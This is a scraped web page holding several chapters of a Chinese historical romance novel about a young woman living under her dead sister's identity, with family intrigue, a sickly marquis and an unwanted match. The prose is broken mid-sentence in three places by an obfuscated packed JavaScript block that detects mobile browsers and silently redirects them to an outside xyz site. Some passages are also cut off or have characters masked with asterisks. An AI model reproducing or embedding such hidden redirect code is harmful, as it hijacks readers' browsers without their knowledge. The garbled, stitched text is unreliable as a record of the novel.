“是啊!又不是什么丧德行的破落户,再说了,李家也没遇到什么要大钱的时候,娘子自然不肯答应。”钟妈妈擦了擦眼泪,说,“但是那老虔婆恨上了你娘,竟做主提了身边的丫鬟偷偷开了脸,给了你父亲做姨娘。” 那便是崔妙人了。 “一开始你娘还不知情,直到发现的时候,才发现崔妙人竟是已经怀胎两月了!”钟妈妈说,“娘子大怒,便去了八仙庄独居,且打算生下孩子后与李珺和离……谁想到后来出了这么多事情……” 这便是钟妈妈知道的全部了。 关怀素听完,心中百感交集。 她早感觉老夫人不喜姐姐,如今总算明白了来由。 “辛苦妈妈了。”关怀素拍拍钟妈妈的背,轻声说,“我回去便从这里查一查。” “师妹若是不方便,随时找我。”孙文书怕她没有人手,便主动开口。 “跑腿的人手我倒是不缺,但是如今手边有个大事,非得师兄与妈妈帮我,才能让我放心。”关怀素在路上听柳叶说起银钱之事时,脑中就有了计较,这会子便对孙文书说,“师兄,你可记得祖父留下的手书之中,有个改良飞梭机?” “记得,师傅说若是改良好,织布从此便能快好几倍。可是师傅他老人家研究许久,说是有个连环锁扣总是出问题……”孙文书说到这里,看到关怀素神色不对,反应过来,震惊地问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这东西想到难,但是制作起来一点也不难。当时关怀素研究这个,本来是想跟祖父嘚瑟一番,结果没想到还没拿出来,祖父就病危,到后来关怀素也没心情管这个事儿了。 没想到多年后又拿出来,还要派上大用场。 孙文书看得连连点头,又对她说:“师妹,难怪师傅总说你天资聪颖,这机器你一说我就明白了,只你不说,我一辈子也想不到这里来!” 孙文书也是个爱工学的,这会儿看到新图纸,兴奋地连连点头,如痴如醉,只恨不得立刻便带着老母回去开始研究。 钟妈妈听到这里,悲伤稍减,想着能给关怀素帮手,心中瞬间有了干劲,连声对关怀素说:“姑娘你想做什么,只管安排,可是要妈妈开个铺面,卖这些布匹?” “倒是无需,我想的是,妈妈去开个小织布坊,只管每月给来往商贩卖一小批布匹,换些钱财就是。”关怀素可不敢叫钟妈妈太树大招风,一则是怕京师旧人注意到钟妈妈,二则是她也担心贪多招摇,到时候给有心人注意到。 京师不比地方,工学这些东西,随手钻研就能换钱,素来是从不缺这些黄白之物的,但是相对的,也容易被有心人盯上。 关怀素幼时,就总能遇到祖父高兴研究出了什么,没开心几天,立刻有人登门,半是胁迫地逼迫祖父“贩卖”出自己的新研究。 在永年县,好歹当年天子帝师的身份还能吓唬一下不怀好意的人,便是眼馋,也是备好礼上门求,但是京师这地方卧虎藏龙,若是真被注意到,只是抢走东西还好,就怕这些人一不做二不休,把钟妈妈甚至师兄直接抓走当做家奴,可就棘手了。 几人商量好,又约好了日后若是有事情,便叫师兄帮着传信,日后初一十五也可在寺里相见,关怀素才依依不舍地带着柳叶离开。 “姑娘。”一出了厢房门,柳叶就看到姑娘眼睛有点发红,她忍不住开口想安慰,关怀素却只摇了摇头,拿出手帕擦了擦眼睛,深呼吸整理情绪,打算离开。 偏就这么巧,因边走边埋头收拾帕子,关怀素才转身,拐角处走出来个人,两人差点就当场撞上。 得亏两人都反应非常快,各自退了一步,各自站稳一看,齐齐眉头一皱。 第三十五章 斗嘴与药方 “李姑娘,太子殿下今日一早就离开了,你还未得知吗?”宋律一看清楚眼前人,立刻皱起眉头,凤眼微眯,嘲讽地开口。 关怀素一眼便认出,此人在赵家宴会时陪在太子身边,便是女子们倾慕的郎君之一,刑部尚书家的宋三郎宋律。 关怀素早知道他对姐姐十分偏见,当初姐姐被赶去庄子上居住,起因便是此人出言讥讽。 关怀素冷脸问:“太子殿下既然不在,您又为何在此?” 宋律留在此地,乃是因为明日家中阿娘与小妹要来寺里上香,他留在此地陪伴。 但是他当然不会与关怀素解释,因此只冷笑说:“李姑娘不必在我面前装傻,你有何图谋,真当大家都是傻子?” 关怀素冷声反问:“恕我愚钝,竟不知道来寺里给亡母添灯油是有什么图谋?” “我只想告诉你,你虽姿色尚可,但是若是想以此就能打动贵人,却还是太过愚蠢。”宋律见她不思悔改,心中厌恶,冷声说,“殿下见过美人不知凡几,你也不必以为自己多么与众不同。” 关怀素对此人愈发厌恶,盯着宋三郎冷声问:“敢问公子,郡主府邸守卫森严,太子殿下的行踪更是无人敢窥视,我如何预先知道太子殿下何时会到,还买通郡主府邸所有下人配合我?” 此事宋律还真是未曾想过,这时候登时一愣。 关怀素见此,便上前一步,继续盯着他质问:“宋大人乃是刑部尚书,相信宋公子便是审家中犯人,也得有证据才能定罪,此事疑点重重,公子却全然不顾,竟一股脑就定了我的罪名,想来是看我一个孤女可欺,宁可逼死我,也要为大人物增添一点风韵故事来!” 此话说得十分诛心,宋律平生最是清高自持,哪里经得住这种指责? 他闻言大为暴怒,怒斥:“你说什么?!” “住口!”二人正吵得不可开交,眼见着剑拔**张之时,从拐角处走出来一人怒斥。 关怀素回头一看,便见到面白如纸的年轻郎君,正是那日也在宴会见过的平安侯周乐天,他虚扶着身边人,走到面前,一开口便是一串咳嗽。 声音听起来喑哑、肺气空悬,关怀素不用把脉就知道,这人身子破败的厉害。 但是虽身子不好,此人言语却十分冷厉,对宋律呵斥:“李姑娘说的清楚明白,殿下行踪虽不算格外隐秘,到底也不是闺阁女儿家随便能打听到的。福宁的府邸里,也不是随便一个人可以随意走动,宋律,你心中有成见,可也不能随意践踏一个姑娘的闺誉!” 宋律脸上神色变幻,他咬牙,冷声说:“我会如此说,自然有我的道理。” “哦?是什么道理,你现在便说!”周乐天便皱眉,说,“把话说清楚,否则别血口喷人!” “你!”宋律一时冲动,真的很想说出来,但是他看了看旁边的关怀素,又生生忍下来,大怒甩袖,说,“我们走!” 说完,竟转身就走。 “多谢侯爷仗义执言……您怎么了?”关怀素正打算行礼,却见到强撑着的周乐天猛地抓住自己的心口,而后大口喘着气,竟一时站立不稳。 旁边的来福吓得不行,连忙从袖子里摸出救心丸给自家爷压在舌下,又扶着人坐在廊下的凳子上,着急地给周乐天顺气。 “他这是……心疾?”关怀素瞧着周乐天面色惨白,含着救心丸一直挣扎着喘气,瞧着十分眼熟,她立刻上前,一把握住周乐天的手。 来福还没呵斥,就见到她的手指捻起来,竟是医者摸脉的动作。 几乎才听了几息,关怀素神色就凝重下来,皱眉问:“侯爷,您曾被人伤过心脉,而后久拖未治?” “是。”来福本来还觉得她行事冒昧,此刻听她一把脉居然就听出自家爷的问题,竟是如积年医者一般,顿时心中大喜,连忙问:“姑娘懂医术?” “我只略通岐黄之术。”关怀素年幼就是这个病,她并不多解释,只凝重地说,“拖得太久了,要想大好,只怕要去找医圣公孙文秋老先生。” “这……当初咱们爷出事之后,就满天下找老先生了,只他老人家多年隐居,一点线索也没有……”来福面露苦涩,看着自家爷,难受地说,“医圣他老人家也已经古稀之年,也不知道还在不在世……” 关怀素十分懂。 公孙伯伯不喜与人交际,便是关怀素和祖父,当年给她调理的差不多之后,其后每年也是等公孙伯伯定期来访换药方,其他时候想找都找不到人。 周乐天的脉象实在是太差了,关怀素皱眉,又探了探周乐天的脉,心中愈发沉重——若再不下对症之药,周乐天只怕没有几年寿数了。 他这症状和年幼的自己极其相似,稍微把伯伯留给自己的方子调整一二,就十分对症。 只是姐姐不该懂这些的,若是贸然出手,只怕要遭人怀疑。 可是…… 关怀素犹豫地看着好容易缓解了心疾的周乐天,他此刻不但脸色雪白,便是唇也白的吓人,手更是生冷的没有一丝热气,整个人像是一触就能碎掉的玉像一般。 这可是当初拒敌八百里、收复西北十三座城池的少年将军啊! 当年那鲜衣怒马少年郎,挥舞**浴血破城、长驱直入的身姿似乎还在眼前。 想到当年此人的意气风发,想到河西城池里的百姓给他立了长生牌位日日供奉,感激他把大家救出水火,再想到那逼人的热浪和刀斧手身上的血腥……关怀素咬咬牙,到底不能坐视此人就此殒命。 她轻声说:“我这里有一道方子,出自医圣之手,恰好是针对心腑之疾的,许是比这救心丸更对症一些。” “真的?”来福一时大喜,差点当场跪地道谢! 关怀素点头,也不耽搁,当场叫道童去拿了纸笔,关怀素把药方默下来,然后又说:“如此先吃三四个月,到时候好一些了,便再换新的方子。” 便才起身打算告辞。 “多谢姑娘,此事我不会走漏半点风声。”周乐天对关怀素认真地说。 关怀素心中放下心来,笑了笑点头告辞了。 “爷,您怎地还特地说要保密?李姑娘在家里不好过,我方才还想,要不咱们大张旗鼓给她送些礼物去撑腰呢。”来福小声说。 “李家人贪婪薄情,刮走了关娘子所有东西,这药方子指不定还是留在八仙庄的东西,若泄露出去,惹得李家人对她逼问强夺就不好了。”周乐天摇头,轻声说,“所以决计不可泄露出去。” 来福这才明白,立刻连声保证着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183311|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 夜风寒凉,一阵风吹来,叫周乐天连连又咳嗽起来。 “你帮我盯着点赵二郎和王家,叫他们**把李姑娘塞去殿下那边的心思,就说我也是关老先生半个弟子,再做如此算计,我就不再袖手旁观了。”周乐天沉声吩咐着,扶着来福的手往地藏殿里去。 那里其中一殿内,整整齐齐立着三面墙的牌位,密密麻麻,一层一层,全是长明灯。 周乐天进门便跪下闭眼静思,而来福则是熟练地拿起香油,眼圈发红地继续一盏盏添没添完的香油。 满墙的牌位和灯密密麻麻,方才听道童说起外头纷争匆匆赶出去,这会子还剩一大半没添完。 直到傍晚,二人才结束了这沉默的祈福,收拾回京。 关怀素并不知道周乐天并不是偶然遇到她与宋律吵架,而是特地赶来解围。 她事情全数办完,第二日一大早,东院妈妈来说,今儿要去谢妆宴,又提醒是大喜事,让穿得鲜亮些。 “昨儿我们回来那么大动静,偏不说,非得到一大早的,让人怎么忙活的出来!”丁妈妈把人送走就啐骂。 关怀素笑着摇头,说,“我还当隔壁真是木人菩萨的好性儿呢,可见不是。” 柳叶急急忙忙开箱笼选衣衫,边生气地说:“姑娘,隔壁是故意的吧?让打扮好,还临时告知,这不是在折腾人么!” “是在折腾我们呢。”关怀素选好了衣衫,一边让柳叶给她换上一边说,“我这出门兴师动众的,每月初一十五都在提醒家里我娘的存在,自然有人心里不舒服,想快些把我打发出去了。” 孙大娘子作为继妻,这些年过的尊贵体面,只怕不但外头人,家里恐也早忘了前头主母,但是关怀素这么一折腾,等于一直提醒天下人她继室的身份。 孙萍养尊处优这么多年,心中定然不愉。对此关怀素早有预料,但是她既然敢去,自然也不怕这些小小挤兑和报复。 换好衣衫,关怀素便匆匆赶到东院,就见孙大娘子神色冷淡地盯着自己。 “母亲安康。”关怀素假作没发现任何不对,上前请安。 “快起来吧。”孙大娘子瞬间露出笑容,看着关怀素起身,做出一副回忆的样子,说,“这一晃眼已经十几年了,当年我进门的时候,你还是个走路都不利索的奶娃娃。如今一看,竟出落得这般漂亮了。” 关怀素垂眉敛目,轻声说:“母亲谬赞了,婉玉哪里及得上二妹妹与三妹妹。” “哪里就及不上了?我们家大姑娘这般品貌,母亲一定帮你认真看看,给你选一个全天下最最好的郎君,这才相配呢!”孙大娘子笑得愈发慈爱了。 关怀素行礼,温声说:“婉玉只想着多陪伴父母,多尽尽孝心。” “知道你们女儿家脸皮薄,我就不打趣你了。”孙大娘子笑着,两人之间像是在说贴心话一般。 只是关怀素心里知道的非常清楚,孙大娘子不是在开玩笑,她这就是在直接暗示自己在相看了。 若是姐姐在此,或是其他女儿家,说到亲事再怎么羞怯,到底有些好奇与期待的。 但是关怀素心中却十分清楚,孙大娘子定然没憋什么好主意。 各怀心思之中,一家人赶到了东道主家里。 第三十六章 听壁脚 到了地方,刚巧正是晒妆时候。 大家伙儿笑着招呼,凑过去看,便看到光是成套的头面就有六套,小的配饰等等齐全,时兴的料子放了足足二十四箱,又有陪嫁的小庄子一个,粗看一下,这嫁妆至少价值千两。 婉蓉站在最华丽的莲花金冠前,一脸艳羡。 关怀素也在看嫁妆呢,听到身侧婉淑说:“真羡慕大姐姐。” 关怀素不明所以,没有搭话,但婉蓉不需回答,自顾自地说:“大姐姐到时候出嫁,光是八仙庄这个皇庄,就抵得过陈家小姐这所有嫁妆了。更别提父亲心疼大姐姐,到时候添妆等等估计也不少……我们三个姐妹之中,只怕也就大姐姐日后嫁妆最多了。” 关怀素这几日相处下来,已经知道婉淑性子外柔内阴,此刻说这些怕又是有什么计较,但也不着急,只笑了笑,看她想说什么。 婉淑见她不为所动,捏了捏帕子,说:“我和二姐姐都有兄弟,阿娘总也要为我们的兄弟着想,哪里像姐姐,日后什么都在自己手里,嫁出去就能当家做主,往后日子可比我们好过多了。” 关怀素听她这么说,有些反应过来了婉淑的意思,孙大娘子在安排自己的婚事,婉淑这么说,是在暗示她嫁人会过得优渥舒心。 好无耻的母女! 当年她娘万贯陪嫁,如今孙大娘子却想一个庄子加一点陪嫁就打发姐姐,婉淑还说得如此冠冕堂皇,仿佛还要等她感激。 关怀素内心愤怒,面上笑说:“三妹妹说得这么期待,难道是自己想嫁人了?” 婉淑顿时一愣,本来是想让大姐姐心中期待,一会儿母亲说起相看的事情,便也就顺理成章,却没想到大姐姐几句话把话头扯到她身上,女子恨嫁这种话说出去可不好听,她又羞又窘地说:“我与姐姐说真心话,姐姐怎地反倒拿我做取笑?” 恰在此时,孙大娘子喊她们过去,两人便止住话头。 一走近关怀素就听到孙大娘子与身边长脸夫人笑着说:“这便是我家的大姑娘婉玉,是不是个美人儿?” 又对关怀素说:“婉玉,来,跟马夫人打招呼。” 关怀素稍微看了下,心中知道,这大约就是孙大娘子给姐姐找的人家。 “哎哟,确实是个水灵姑娘。今年几岁了?”马夫人目露精光,拉着关怀素就上下看,接着越看越是欢喜,竟脱下手上金镯,想给关怀素戴上。 “夫人不可。”关怀素立刻抽手躲开,行了一个礼说,“多谢夫人好意,但是礼物贵重,婉玉愧不敢受。” 非亲非故的,突然送这么贵重的见面礼,这其实就是代表相中了她做儿媳。 假如今儿关怀素接了,到时候很多事情就很难辩白了,所以关怀素当然不会接。 “你这孩子,马夫人是喜欢你,长者赐不敢辞,你就拿着吧。”孙大娘子在旁边笑着嗔怪着说。 如今这个场面,如果不是她在此,便是姐姐的遭遇。 姐姐性格温柔,孙大娘子这一招,她定然无法反抗,心中不愿意也只能乖乖戴上这镯子。 没有人会问姐姐愿不愿意嫁人,喜不喜欢对方,只怕就只会乖乖地被嫁出去,从此关家血脉彻底从李家消失,腾出地方给李家人快活过日子。 想到这里,关怀素突然心中升腾出一股怒气来。 她笑着行礼,对孙大娘子说:“原来是长辈,只是不知是家中哪位长辈,如何称呼?” 孙大娘子一噎,亲戚之说,不过是没结亲之前的托词,关怀素这么一挑明,倒是让大家都有些下不来台。 “你这孩子,收下便是,怎地拿个礼物还这么硬邦邦的,倒像是人家欠了你的外债一般。”孙大娘子勉强笑了一下,说。 关怀素立刻上前,接过了马夫人手里的金镯子。 “哎,这才是,你这孩子就是心思重。长辈送你东西,都小心翼翼的。”孙大娘子看她接了东西,觉得自己筹谋成了一半,又觉得关怀素再怎么被教导好,到底还是不敢得罪她这个大娘子,忍不住笑了一下,有些得意地说。 “是,是婉玉想太多了。”关怀素开口,说,“金镯虽然贵重,但是想来可能对夫人来说不过尔尔,只是随手赏小辈的玩意儿,倒是婉玉着相了。” 这话说的马夫人脸上慈爱的笑容僵了一下,孙大娘子立刻说:“那倒不是,马夫人是格外喜欢你,第一眼见你就有眼缘,才如此慷慨呢。” 关怀素立刻笑着行礼说:“多谢夫人,刚巧婉玉每月初一十五都去流云台寺给亡母祈福布施,正觉得囊中羞涩,如今有了夫人赏我这个金镯,我融了换成银钱,又能做几场布施。他日我到了佛前,也会替夫人请香积德的。” 说完,关怀素笑容灿烂,孙大娘子脸上直接变成了黑锅。 关怀素撇清之意太清楚,气氛瞬间僵持。 恰好此时,已经开席摆宴,众人纷纷结伴去院子里吃席。 关怀素立刻跟着入席,吃到一半去更衣,没想到出来的时候,带路的小丫鬟不见了。 方才吃席的时候,关怀素心疼柳叶站着脚疼,让她拿钱出去叫席面吃饭。 没想到此时竟落单了。 关怀素等了一会儿,想等着小丫鬟过来接自己,却久候未至,于是只能凭记忆走回去,结果出门绕了两个弯,竟绕到了一个十分偏僻的小院子。 这耳房的院落乃是正屋夹壁后头的小屋,关怀素听着隔壁都能听到影影绰绰的说话谈笑声,显见大方向没错,就想抬脚出门去,却突然听到门口仓促的脚步声,似乎是有个人走了进来,而后身后是一个女子的声音,说:“乐天哥哥,你可是在躲我?” 关怀素立刻躲在廊柱后面,听到女子的声音有些耳熟,心中正在疑惑,考虑要不要出去时,就听到一道熟悉的声音叹了口气,说:“三姑娘,你素来端方温柔,是京师出名的十全姑娘,我无事怎会躲你?” 那三姑娘沉默了好一会儿,才用一种有点古怪的、带着哽咽的声音轻声问:“乐天哥哥,你说我是十全姑娘,但是你却始终看不上我,是不是?” 周乐天沉默一瞬,想开口说什么,却听到赵白芷说:“别用劳什子你是叛国之人之类的话来说,哪怕全天下的人都误会你,我也信你!乐天哥哥,哪怕如此,你是不是也不愿意娶我,你是不是就是看不上我?” 周乐天登时沉默了,良久才长叹一口气。 这便意思十分清楚了。 女子沉默了一下,突然声音里的哽咽消失了,又变得端庄温柔,再没有一丝破绽,她轻声说:“我知道乐天哥哥的意思了,请侯爷恕白芷唐突之罪。” 说完,关怀素听到脚步声,显然是那姑娘离开了。 关怀素不敢动,直到听到男子的脚步声去远了,她才松了口气,从柱子后走出来。 结果一走出来,却看到寒风呼啸的冬日里,这小院子里满园凋敝之中,站着一个裹着狐裘、面如冠玉的年轻男子……不是周乐天又是谁? 偷听被抓个正着,关怀素尴尬地站在原地,一时竟不知如何是好。 “……大姑娘。”周乐天进门就意识到了这院子里有人,但是他没来得及阻止身后的姑娘说话,又担心若是心怀不轨的人听到,到时候把今日之事宣扬出去,不免横生波折,才特地用计诱人出来。 结果看到是关怀素,周乐天登时一愣。 “见过侯爷。”关怀素被抓了个现场,又听到的是感情私事,十分尴尬地行礼请罪,“我方才走错地方,听到脚步声,怕冲撞了便躲了起来。不小心听到,还请侯爷见谅。” “你……”周乐天有些不好启齿,但还是艰难地问,“你方才都听到了?” 关怀素不想瞒他,便点点头,轻声说:“是。” 周乐天神色更为不好了。 他神情激动,轻声说:“此事绝不可为他人知晓,不可坏了她的清白……咳咳咳咳……” 他本就身体不好,一激动起来,登时疯狂咳嗽。 关怀素急忙走过去,举起手起誓保证说:“我知晓,此事天知地知你知我知,除了白芷妹妹,绝不会有第四人知晓。” 周乐天听到她如此说,终于放下心来。 看周乐天慢慢停住咳嗽,关怀素想到赵家姑娘之前说话做事滴水不漏、总是温柔笑着的样子,再想到她方才极力克制却依然掩饰不住的伤心,她心中一软,忍不住多嘴了一句,说:“侯爷,看您如此紧张,显然也是十分关心赵妹妹,她身份品貌不俗,又与您一起长大,做侯夫人也十分当得,您这是……” “不可胡说!”却见周乐天猛地皱眉,想说话,结果手一抖 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想到这里,关怀素连忙把手收回袖子里面,后背一瞬间流下冷汗,立刻说:“在、在庄子上的时候,人手不够,有时候便也做些粗活。” “真是岂有此理!”周乐天闻言,立刻勃然大怒,说,“此事我非要去问问李大人,到底是怎么管理后宅!” 关怀素一听,连忙阻止,说:“如今在家里已经好许多了,若去说,倒显得我在外面说家里是非,还请侯爷勿要如此。” 她这话说得也是,周乐天想到她一个孤女,许多委屈受了也只能打落牙齿和血吞,登时心中也涌起一股悲凉来,轻声苦笑说:“对不住,可能我如今说话也不顶什么用,却也帮不了你太多了。” 关怀素看他神色之中露出寥落之意,想到他昔年横刀立马的风光,一时心中十分心疼,立刻说:“侯爷您是英雄人物,后宅这种小事,何必在意。” 周乐天苦笑一声,轻声说:“如今只怕也只有大姑娘会如此说我,外头说起我……” 说到这里,周乐天觉得不该说下去,不然显得倒像是诉苦,不免显得矫揉造作。 因此他收了话,只轻声说:“姑娘离席也许久了,快些回去吧。” 关怀素闻言,也不多话,只点点头,行了个礼便匆匆往回走。 只是走到一半,有些不放心地回头看,就见到周乐天一个人孤零零地站在院子里,瞧着格外孤苦寥落。 关怀素心中叹了口气,一时不知为何,心中竟觉得此人有些可怜。 但是她也不再耽搁,便匆匆地去了。 她没看到,身后的院门口,萧瑟的夹道里,正站着一个人,听完了她与周乐天的全部对话。 此人正是赵白芷。 她天性聪慧,周乐天听到有人而留下,赵白芷也察觉到了不对,立刻便躲在此处,想着弄清情况。 这会子看到关怀素匆匆离去,她神色有些担忧紧张,但是到底也匆匆跟了出去。 关怀素赶回摆宴的园子,刚准备入内,却没想到才到门口,宋兰突然起身,一把抓住她。 “婉玉姐姐,我突然腹痛,你能带我去方才去的恭房吗?”宋兰开口。 关怀素一愣,被宋兰一把拉住就往外走。 关怀素不明所以地被宋兰拉着出了内院,一路走到外头,宋兰才从怀里拿出一个香包来,拆开就往关怀素身上倒。 “宋兰妹妹,你这是做什么呢?”关怀素给她弄得一愣一愣的,却听到宋兰压低声音说,“婉玉姐姐,你自己闻不到吗?你身上好大一股子龙涎香的香味。” 关怀素一愣,瞬间明白了宋兰话里的意思——这是周乐天身上的熏香味道!她方才与周乐天站得太近,说了一会子话,龙涎香霸道,且她身上熏香太淡,竟被龙涎香压下去了。 龙涎香金贵,素来除了宫中能常用,本朝能日日常年用得上的,也不过就几个人了。 而如今还能出现在这里的,除了周乐天不做其他人想! 若是方才她坐下被人闻到,只怕今儿就要出大事了! 关怀素想到这里,饶她一直镇定,也不由得背后冒出一身冷汗来。 第三十七章 争锋 “多谢妹妹!”关怀素心中一紧,立刻也拆了自己的香包,把里面的香粉往耳后脖子上擦拭,而后再抖抖身上的香粉,感觉到满身都是桂花和木香,才笑着说:“方才我不小心碰到了一个人,想来是不小心沾上的……” “婉玉姐姐不用解释。”宋兰微微叹了口气,低声说,“我知道你不是那种人……只是你今儿难道又是遭人戏弄了?” 关怀素一愣,看着宋兰。 却见宋兰低声说:“上次我跟姐姐你说,后宅之内,一味安分随时,并不会好过,上次在郡主府内我看得清楚……” 宋兰正要继续说什么,突然听到不远处传来一道温润的女子声音,带着笑意轻唤:“哎呀,婉玉姐姐、婉蓉妹妹、兰妹妹,你们都在门口等我啊?” 关怀素一抬头,才看到不远处那带着笑意盈盈的端庄美人,不是赵姑娘又是谁? 再回头一看,却见门口躲着一道鬼鬼祟祟的红衣身影,正是婉蓉。 得亏赵姑娘这一声,否则今日不管宋兰说啥,只怕都要被婉蓉听到了。 关怀素想到这里,心中感激赵姑娘提醒,也露出了一个笑容,说:“惭愧,方才倒不是在等赵妹妹,但是如今凑巧撞上了,便一起进去罢。” “哎呀,倒是我自作多情了。”赵白芷笑了一下,故作调侃自己的样子,她说话温和风趣,婉蓉方才本来偷听被点破还有些尴尬恼怒,但是赵白芷一副完全没察觉的样子,又是夸婉蓉的衣衫是如今最时兴的,又是夸她的头发好看、发饰精巧,没走几步路,已经把婉蓉哄得脸上带上笑容,在进门之时,已经把赵姑娘视作半个知己了。 关怀素心中暗暗为赵姑娘这八面玲珑的圆融手段震惊,赵姑娘这通身气度,和与人打交道的功夫,真正是圆融通达,便是寻常男子也远远不及。 而且她养气功夫极好,若不是阴差阳错听到她与小侯爷说话,关怀素也完全想不到赵姑娘居然还有这么一段心事。 要知道女儿家倾慕谁,其实很难掩饰,如福宁郡主倾慕太子,只怕全京师的人都看得出来,只是不说破罢了。 但是今日之前,却没有任何人怀疑过赵姑娘倾慕周乐天,由此可见,赵姑娘多么善于守住自己的心思。 如此女子,周乐天竟也没动心,可见这男女之情实在是奇奇怪怪,叫人想不明白。 关怀素心中想着,面上却什么都不显,只笑嘻嘻地说着话,一行人进去参宴。 宴罢,自然也到了告辞的时候。 “今儿日头尚早,不如我做东,我们去彭家茶楼吃点心去吧?”出门时,那长脸夫人出言相邀。 “好啊,那就多谢马夫人了!”孙大娘子非常喜悦,连声答应,这就定了接下来的行程。 关怀素心里知道,她们二人还在推进相看之事。 就这么到了茶楼雅间,里面竟有一人早已经等着。 这人是个丰腴的妇人,看着像是小吏家的娘子,一见她们就殷切问安,最后拉着关怀素的手笑嘻嘻地说:“哎呀,婉玉,好久不见你了。” 关怀素听婉淑唤她小姨母,知道这是孙大娘子娘家的表妹,便跟着行礼。 这小姨母显然是来撮合马家与关怀素相看之事的,落座后便笑的一团和气,连声说:“想来你们都见过了,不是我夸,马姐姐家中虽不在京师,但是谁不知道马刺史为官清廉,很受陛下器重,马姐姐家中的那位小郎君不但一表人才,据说诗画在滁州都是出名的……” 关怀素顿时一愣,她完全没想到孙大娘子居然给她找的是一方刺史之子! 要知道刺史作为地方官,掌一方生计,那可是实打实的实权人物。 这样的人物,娶什么人不成,怎么就看上了李家姑娘? 关怀素诧异地看孙大娘子一眼,她并不觉得孙大娘子有如此气度,给姐姐安排个好婚事,但凡她有这样的正直与好心,姐姐不会落得别庄惨死的下场。 难道是那小郎君有什么问题? 关怀素瞬间如此怀疑。 也是奇怪,那小姨母竟像是知道她的怀疑一般,居然就笑着说了一句:“哎呀呀,今儿都是自家亲戚吃茶,马姐姐不如便叫大公子上来,与大家见见?” 马夫人笑着点头,没一会儿,就有人推开这厢房的门进来了。 进门的年少郎君油头粉面,瞧着确实还算俊俏。 只是他进门的时候还算端庄,但是眼神落在李家三位姑娘脸上,视线逡巡过婉蓉与关怀素的脸上,顿时露出了一抹惊艳与贪婪之色。 马夫人咳嗽一下,马公子才慌忙收了眼神,低头对母亲请安。 关怀素心中警铃大作,这马公子别人瞧不出,她确实一眼看出来,此人好色体虚,眼下微微发青,都是亏空之相。 这不是个好人。 关怀素这边想着,那边马夫人打发问安完毕的马公子出去,转头对孙大娘子笑呵呵地说:“我们前几日才回京师,这不,这孩子也被堂兄弟们带着到处看看,也多亏了他还有个大伯,好歹这年节的长途跋涉回家,也不至于太过忙乱。” “马刺史家的大伯便是御史中丞马大人。”小姨母立刻眉飞色舞地介绍,“那都是一家子正经读书人,一门兄弟双及第,当年可是一段佳话啊!天下再没如此清贵的好人家了!” 马夫人闻言露出骄傲神色,挺直了脊背。 “哎哟,那可真是好,大姐姐,母亲对你可真好啊!”大家伙儿都没出声,倒是婉蓉听得露出心驰神往之色,酸溜溜地说。 “二妹妹这是什么意思,这亲戚之间见面,与我有什么关系?”关怀素立刻冷下脸来直言发问。 婉蓉一直看不上这个大姐姐,她心里觉得赵二郎更好,可没想到大娘子给大姐姐找的人家居然也这么好,不由自主说了几句酸话。 却没想到居然被关怀素冷着脸质问,婉蓉一愣,也生气了,冷笑一声说:“姐姐也别在这里装傻,今儿出来不就是为了姐姐的婚事么?” 这话一出,便是孙大娘子都变了脸色,冷声开口:“你胡说什么?!” “我哪里胡说,今儿这事儿不是明摆着的么?”婉蓉也不太看得起孙大娘子,这会儿还不住口,反而委屈地继续说起来。 关怀素心中恼怒,相看之事,在双方确定之前,都不能公开说,否则没成的话,对双方的名声都有妨碍,影响继续议亲。 婉蓉不可能不知道,她就是故意的。 她大约就是从小这么欺负姐姐的吧? 想到这里,关怀素脸上的笑容也立刻消失,冷声说:“哦?可这回不是谈二妹妹的婚事吗?” 她这一开口,婉蓉气得跳起来指着关怀素说:“你胡说八道什么呢?你怎么凭空污人清白!” “二妹妹也知道随口说这种话是污人清白?那你方才为何要污我的清白?”关怀素不甘示弱,重重放下手中茶杯,冷声说,“合着只许你空口白牙污蔑他人,不许他人说你?你好大的威风!” “你!”婉蓉气得大声说,“可是我说的本来就没错,今儿难道不是在为姐姐你看人家?不然好端端的,我们为何要特地过来,还让那马公子进来?” 关怀素本来想说那也可能是给你看的,但是余光瞥到婉淑与孙大娘子静**在一旁,故作焦急,但是脸上一股压不住看好戏的快乐,话到嘴边,立刻冷笑一声换成了:“哦?见男子就是特地相看了?那前几日赵二哥还来家里拜访,当时我们三个都在,怎么地,这赵二哥哥是给谁看的啊?是你还是三妹妹?” 这话一出,孙大娘子脸色一变,冷声呵斥:“住嘴!” 关怀素顺势闭嘴,婉蓉还想说话,却看到孙大娘子脸上冷的吓人,她知道自己今儿是惹祸了,她恨恨地看关怀素一眼,又气又怕,恼怒地坐了下来。 发生这种口角,今儿无论谈什么都是谈不下去了,大家勉强笑着喝完茶,点心都没动,立刻道辞离开。 孙大娘子上了马车就一路冷着脸,婉蓉心中坠坠,到底不再敢开口,关怀素则是看着外面,心下思考着,得想点办法,让孙大娘子没空拿婚事恶心自己。 就在这样的气氛之中,一家人回到了家里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183313|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 